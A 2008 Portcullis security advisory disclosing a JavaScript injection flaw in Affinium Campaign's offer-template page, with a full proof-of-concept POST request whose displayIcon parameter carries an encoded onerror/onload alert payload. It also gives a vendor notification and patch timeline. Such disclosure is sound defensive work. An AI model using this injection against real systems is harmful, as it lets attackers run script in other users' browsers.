Portcullis Security Advisory - 08-003


Vulnerable System:

Affinium Campaign


Vulnerability Title:

The web application's templates web page is vulnerable to a JavaScript injection.


Vulnerability Discovery And Development:

Portcullis Security Testing Services.


Credit For Discovery:

Tim Brown - Portcullis Computer-Security Ltd.


Affected systems:

All known versions of Affinium Campaign; the vulnerability discovered was for version 7.2.1.0.55.


Details:

It is possible for an attacker to inject JavaScript into the templates web page by manipulating the displayIcon parameter of requests to https://webserver/Campaign/updateOfferTemplateSubmit.do. For example:

POST https://webserver/Campaign/updateOfferTemplateSubmit.do?action=finish HTTP/1.1
Host: webserver
Cookie: CAMPAIGNSESSIONID=HXJBBgzXJdYp1w1klLbQhwycZZ7pQxYyG1af33hRkXtJ1P9CTnMz!707630239
Content-Type: application/x-www-form-urlencoded
Content-Length: 818

createStep=3&offerTemplateID=2&actionType=edit&isInUse=false&offerTemplateName=TemplateName&description=Description&suggestedUsage=SuggestedUsage&displayIcon=%22+onerror%3Djavascript%3Aalert%28%2FXSS%2F%29+onload%3Djavascript%3Aalert%28%2FXSS%2F%29+foo%3D%22&offerCodeCodeFmt1=nnnnnnnnn&offerCodeCodeFmt2=&offerCodeCodeFmt3=&offerCodeCodeFmt4=&offerCodeCodeFmt5=&offerCodeGenerator=uacoffercodegen&treatmentCodeGenerator=++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&treatmentCodeFmt=nnnnnnnnn&offerListSelect=STATIC&offerListSelect=HIDDEN_STATIC&offerListSelect=PARAMETERIZED&policyId=100&updateEnumAttributeID=

The JavaScript from the manipulated request is returned in the response and executed when the browser tries to load the display icon.


Impact:

An attacker would be able to use this to execute malicious code on a visitors computers.


Exploit:

Exploit code is not required.


Vendor Status:

05/06/2008 - vendor informed
10/06/2008 - Vendor updated
11/06/2008 - Vendor responded via email
16/07/2008 - Vendor confirmed patches


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